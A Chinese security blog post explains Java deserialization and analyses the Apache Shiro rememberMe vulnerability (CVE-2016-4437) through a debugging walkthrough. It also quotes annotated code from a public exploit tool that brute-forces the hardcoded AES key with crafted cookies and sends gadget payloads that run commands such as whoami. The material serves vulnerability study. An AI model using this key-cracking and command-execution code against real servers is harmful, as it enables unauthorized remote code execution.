Java反序列化学习-Shiro反序列化

admin 2022年11月29日01:46:09代码审计评论11 views9913字阅读33分2秒阅读模式

文章总体的思路

1.用一个简单的例子来说明反序列化导致RCE的过程

2.对Shiro漏洞的过程进行调试

3.通过两个Shiro反序列化的工具分析大致的利用过程

Java反序列化简介

1.序列化:将对象转化为字节流

2.反序列化:将字节流转化为对象

在Java中,只要某个接口实现了java.io.Serialization接口,就可以被序列化。

一个简单的例子

创建一个简单的Company类company.java,任意添加两个属性公司名和公司id,并实现java.io.Serialization接口。

import java.io.IOException;
import java.io.Serializable;

public class Company implements Serializable {
    public String companyName;
    public int companyId;
    public String getCompanyName() {
        return companyName;
    }
    public void setCompanyName(String companyName) {
        this.companyName = companyName;
    }
    public int getCompanyId() {
        return companyId;
    }
    public void setCompanyId(int companyId) {
        this.companyId = companyId;
    }

然后新建一个Test.java,给两个属性赋值然后将序列化生成的文件反序列化回来。

import java.io.*;

public class Test {
    public static void main(String[] args) throws Exception{
//        初始化对象
        Company company = new Company();
        company.setCompanyName("Baidu");
        company.setCompanyId(1);

//        序列化步骤
//        1。创建一个ObjectOutputStream输出流
//        2。调用ObjectOutputStream对象的writeObject输出可序列化对象
        ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream(new File("./Company.txt")));
        oss.writeObject(company);
        System.out.println("Company对象序列化成功");

//        反序列化步骤
//        1。创建一个ObjectInputStream输入流
//        2。调用ObjectInputStream对象的readObject()得到序列化的对象
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("./Company.txt")));
        Company company1 = (Company) ois.readObject();
        System.out.println("people对象反序列化成功");
        System.out.println(company1.getCompanyName());
        System.out.println(company1.getCompanyId());
    }
}

运行Test.java可以看到程序已经可以成功的进行序列化和反序列化

Java反序列化学习-Shiro反序列化

打开Company.txt可以看到被序列化的内容:

Java反序列化学习-Shiro反序列化

Company.java中加入以下方法,重写People类的readObject()方法

private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
    //执行默认的readObject()方法
    in.defaultReadObject();
    //执行打开计算器程序命令
    Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
}

然后重新运行Test.java可以看到新插入的方法已经生效,成功的在反序列化的过程中打开了计算器软件

Java反序列化学习-Shiro反序列化

分析Shiro反序列化漏洞(CVE-2016-4437)

Apache Shiro介绍

Apache Shiro是一个开源的安全认证框架,提供了身份验证、授权、密码学和会话管理。

漏洞原理

Apache Shiro框架提供了记住我(RememberMe)的功能,关闭了浏览器下次再打开时还是能记住你是谁,下次访问时无需再登录即可访问。

Shiro对rememberMe的cookie做了加密处理,shiro在CookieRememberMeManaer类中将cookie中rememberMe字段内容分别进行序列化、AES加密、Base64编码操作。在识别身份的时候,需要对Cookie里的rememberMe字段解密。根据加密的顺序,不难知道解密的顺序为:

  • • 获取rememberMe cookie

  • • base64 decode

  • • 解密AES(加密密钥硬编码)

  • • 反序列化(未作过滤处理)

但是,AES加密的密钥Key被硬编码在代码里,意味着每个人通过源代码都能拿到AES加密的密钥。因此,攻击者构造一个恶意的对象,并且对其序列化,AES加密,base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。

漏洞复现

下载Shiro源码并进行基础运行环境搭建,下文中用到的源代码是 https://github.com/apache/shiro.git ,下载成功后进入shiro目录执行git checkout shiro-root-1.2.4切换一下版本,就可以使用了。感兴趣的小伙伴可以自己下载下来研究研究。

环境搭建的简单过程:

1.修改源代码pom.xml文件中的jstl版本为1.2

2.下载好源代码之后用IDEA打开项目

3.配置好自己的tomcat路径用于一会的debug过程

序列化

环境配置好之后在org.apache.shiro.mgt.RememberMeManager.class.onSuccessfulLogin处打上断点然后开始debug,程序启动之后会弹出配置tomcat时默认的浏览器,在弹出的浏览器中点击log in然后输入显示的账号和密码,注意一定要勾选Remember Me的复选框,程序就会运行至打断点的地方停止。

Java反序列化学习-Shiro反序列化

可以看到程序已经获取到我们输入的账号root并停止在了打断点的地方,简单看一下onSuccessfulLogin的逻辑,开始先掉用了forgetIdentity函数,我们重点关注下面的语句

1.先用if语句进行判断,用户是否勾选Remember Me

2.如果勾选的话就调用rememberIdentity函数

3.如果没有勾选就直接在输出log

得出序列化的过程应该是在rememberIdentity中实现的,所以继续跟进rememberIdentity函数

Java反序列化学习-Shiro反序列化

看到现先是调用了getIdentityToRemember函数查询到登陆的用户是root,然后调用rememberidentity,所以继续跟进rememberidentity函数

Java反序列化学习-Shiro反序列化

调用了convertPrincipalsToBytes,传入的参数是我们当前的用户root,然后用一个字节变量来接收结果,回想一下文章开头介绍的序列化的概念这个convertPrincipalsToBytes函数是序列化过程没跑了。跟进!

Java反序列化学习-Shiro反序列化

可以看到convertPrincipalsToBytes的执行流程:

1.调用serializeprincipals进行序列化,并存储为字节流

2.判断是否为空

3.返回该字节流

继续跟进serialize函数

Java反序列化学习-Shiro反序列化

又是一个调用serialize的函数,继续跟进:

Java反序列化学习-Shiro反序列化

可以看到是一个跟我们前面的例子里面长的差不多的一个标准的序列化的过程,只是多了一个输出日志和信息的过程,继续跟进

Java反序列化学习-Shiro反序列化

这里使用一个getCipherService()判断加密方式是否为空,然后接一个判断,如果加密方式不为空的话调用encrypt()进行加密

Java反序列化学习-Shiro反序列化

进入encrypt函数可以看到加密的过程:

1.接收序列化之后的字节流

2.获取加密方式

3.判断加密方式是否为空

4.不为空的话调用cipherService.encrypt()方法对字节流进行加密

5.返回加密的结果

继续跟进cipherService.encrypt()查看具体实现的方法

Java反序列化学习-Shiro反序列化

这里可以看到cipherService.encrypt()需要传入之前序列化之后的数据和key作为参数,这个地方的key就是我们常常用工具爆破Shiro Key的那个Key,前面获取密钥key和接下来获取初始向量iv的方法就不跟进查看具体实现了,感兴趣的小伙伴可以自己试着看看过程,我们来直接看看最后的这个return的加密过程是怎么实现的

Java反序列化学习-Shiro反序列化

这里看到给encrypt()传入了序列化之后的字节流、密钥、初始向量、prependIv作为参数

1.定义一output用于接收加密结果

2.判断prependIviv参数是否为空

3.不为空的话用加密函数进行加密

Java反序列化学习-Shiro反序列化

继续跟进,经过一路的return我们最终回到了我们熟悉的rememberIdentity,继续跟进rememberSerializedIdentity

Java反序列化学习-Shiro反序列化

可以看到我们最终的加密数据被base64编码之后变成了千呼万唤始出来的cookie然后光荣的进入到下面的流程里面交给response最终被setcookie里面了。

反序列化

由于不知道反序列化是从何处开始的,也不知道在何处打断点,但是在刚刚序列化的过程中我们经过了一个encrypt方法,这个方法的下面紧接着写着一个dencrypt方法,这个方法应该就是反序列化的过程中调用的,所以我们只要溯源一下这个方法的引用就可以追到反序列化了。

Java反序列化学习-Shiro反序列化

想上查找发现convertBytesToPrincipals调用了dencrypt方法

Java反序列化学习-Shiro反序列化

然后发现了这个getRememberedSerializedIdentity翻译过来是获得记住的序列化身份,继续查找引用找到了一个getRememberedPrincipals应该就是我们要找的反序列化过程的开始

Java反序列化学习-Shiro反序列化

getRememberedPrincipals打上断点,然后直接下一步就跳转到了getRememberedSerializedIdentity,我们来看看这个函数

Java反序列化学习-Shiro反序列化

这里由于没有找到如何能让程序找到登录信息的方法所以没有获取到登录信息中被base64cookie,不过没关系,我们直接来看看源码,这里的逻辑也比较简单,就是直接使用getCookie来获取cookie值,如果获取到了,就直接进行一遍base64decode然后直接return回去

然后就又进入到了我们的上一张图片里面,先是判断了一下这个返回的字节串是否为空,不为空的话就直接调用convertBytesToPrincipals来解密

Java反序列化学习-Shiro反序列化

可以看到convertBytesToPrincipals直接调用了dencrypt来进行解密操作

Java反序列化学习-Shiro反序列化

然后跟加密操作一样,先是调用getCipherService来获取一下解密的方法,然后将解密方法和待解密的字段一起作为参数传入了cipherService.decrypt()方法

Java反序列化学习-Shiro反序列化

和加密方法大差不差,就不展开说了,解密之后最终会一路return到我们最开始调试的时候,然后交给请求处理模块,浏览器就能成功的记住我们了。

综上,整个流程为

  • • 读取cookie中rememberMe值

  • • base64解码

  • • AES解密

  • • 反序列化

其中AES加解密的密钥为常量,于是我们可以手动构造rememberMe值,改造其readObject()方法,让其在反序列化时执行任意操作。

Shiro反序列化利用过程

综上所述,漏洞可以被利用的大部分原因就是因为我们可以手动的构造rememberMe的值,可以构造值的前提是我们知道AES加密的密钥,所以漏洞利用工具的第一步,就是破解密钥,由于该密钥是在程序中写死的,且项目又是开源的,所以我们只要收集足够多的密钥,就可以暴力破解出密钥。

Java反序列化学习-Shiro反序列化

Java反序列化学习-Shiro反序列化


将工具的代理设置到burpsuite,我们可以看到密钥爆破时,如果使用正确的密钥,Response头里就不会出现rememberMe=deleteMe,大概的原理就是利用shiro解密过程中的一个异常的回显去判断,具体的原理分析可以参考大佬的博客中的Shiro密钥检测工具编写思路https://www.yang99.top/index.php/archives/76/。可以看到工具爆破key都是这个思路

def check_key(url=None,key=None,version=0):
    checker = "rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==" //定义checker,可触发解密过程异常,回显deleteMe
  
    if key is not None:
        try:
            if version==2:
                base64_ciphertext = aes_v2(checker,key)
            else:
                base64_ciphertext = aes(checker,key)
            cookie={"rememberMe":base64_ciphertext.decode()}
            print (cookie)
            return
        except Exception as e:
            print (e)
            return
    knock=requests.get(url,cookies={"rememberMe":"123"},verify=False,allow_redirects=False) //随意设置一个rememberMe值
    if "rememberMe=deleteMe" not in knock.headers['Set-Cookie']: //若返回包中没有rememberMe=deleteMe则可能没有使用Shiro框架
        print ("May not use Shiro")
        return 
    else:
        count=knock.headers['Set-Cookie'].count("rememberMe=deleteMe")
        print("Target Used Shiro,Staring butre key:")
    shiro_key=""
    for key in keys: //遍历key列表
        if version==2:  //选择版本
            base64_ciphertext=aes_v2(checker,key) //构造加密后的cookie
        elif version==1:
            base64_ciphertext=aes(checker,key)
        else:
            print ("You must Specific Shiro Version to 1 or 2 or left it empty")
        cookie={"rememberMe":base64_ciphertext.decode()}
        print ("Checking :{0}".format(key),end='r')
        rsp = requests.get(url,cookies=cookie,headers=headers,allow_redirects=False,verify=False)
        if 'Set-Cookie' not in rsp.headers.keys() or rsp.headers['Set-Cookie'].count("rememberMe=deleteMe") == count-1: //判断是否成功,判断的逻辑就是统计所有的rememberMe=deleteMe,如果包个数比rememberMe=deleteMe个数少一个,说明刚刚验证的key是对的
            print ("Version "+str(version)+" Key Found: {}n".format(key))
            sys.exit()
            shiro_key=key
            break
        else :
            pass
    if shiro_key == "":
        print ("b")
        print ("Version: "str(version)+" Key Not Found")

可以看一下这个利用脚本爆破key的大致过程,关键步骤我做了注释,项目来自于https://github.com/Ares-X/shiro-exploit

接下来就是利用链和回显方式的爆破,也可以参考大佬的文章CommonsBeanutils1利用链分析https://www.yang99.top/index.php/archives/67/

Java反序列化学习-Shiro反序列化

可以看一下大概的攻击过程,对重要流程家了注释

def echo_exploit(gadget,url=None,key=None,command=None,version=1):
    global shiro_key
    if gadget in tomcatEchoPayload:
        key=key if key else shiro_key
        checker=str(uuid.uuid1())
        command = command + " && echo " + checker if command else "whoami"" && echo "+ checker
        headers = {"Testecho":checker,"Testcmd":command}
        if version==2: //选择版本
            payload = aes_v2(tomcatEchoPayload[gadget],key) //利用相对应版本的加密函数用爆破出的key进行加密
        else:
            payload = aes(tomcatEchoPayload[gadget],key)
        try:
            if url:
                rsp=requests.get(url,headers=headers,cookies={"rememberMe":payload.decode()},verify=False,stream=True)  //构造包将payload作为cookie发送
                if rsp.headers["Testecho"]==checker:  //判断是否攻击成功
                    print ("Congratulation: exploit successn")
                    regex=re.compile(r'((?:.|n)*){0}'.format(checker)) //匹配包含回显的地方
                    try:
                        flag = 0
                        try:
                            for i in rsp.iter_content(chunk_size=102400):
                                if checker in str(i.decode()):
                                    flag=1
                                    print (i.decode().replace(checker,"")) 
                        except:
                            pass
                        if flag !=1:
                            result=regex.findall(rsp.text)  //提取回显,给result
                            print (result[0])
                    except Exception as e:
                        print (e)
                        print ("Failed to get result,check response manual n")
            else:
                print ("Exploit Manual: n")
                print ("Testcmd: whoami")
                print ("Cookie: rememberMe={}".format(payload.decode()))
        except Exception as e:
                print ("Something error: "+str(e))
                print ("Exploit Manual: n")
                print ("Testcmd: whoami")
                print ("Cookie: rememberMe={}".format(payload.decode()))
    else:
        print ("Gadget Not Support")

感兴趣的同学赶紧试起来吧,顺手提供一个可以在线解密Shiro cookie的工具https://vulsee.com/tools/shiroDe/shiroDecrypt.html。


原文始发于微信公众号(瑞不可当):Java反序列化学习-Shiro反序列化

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年11月29日01:46:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  Java反序列化学习-Shiro反序列化 https://cn-sec.com/archives/1430618.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: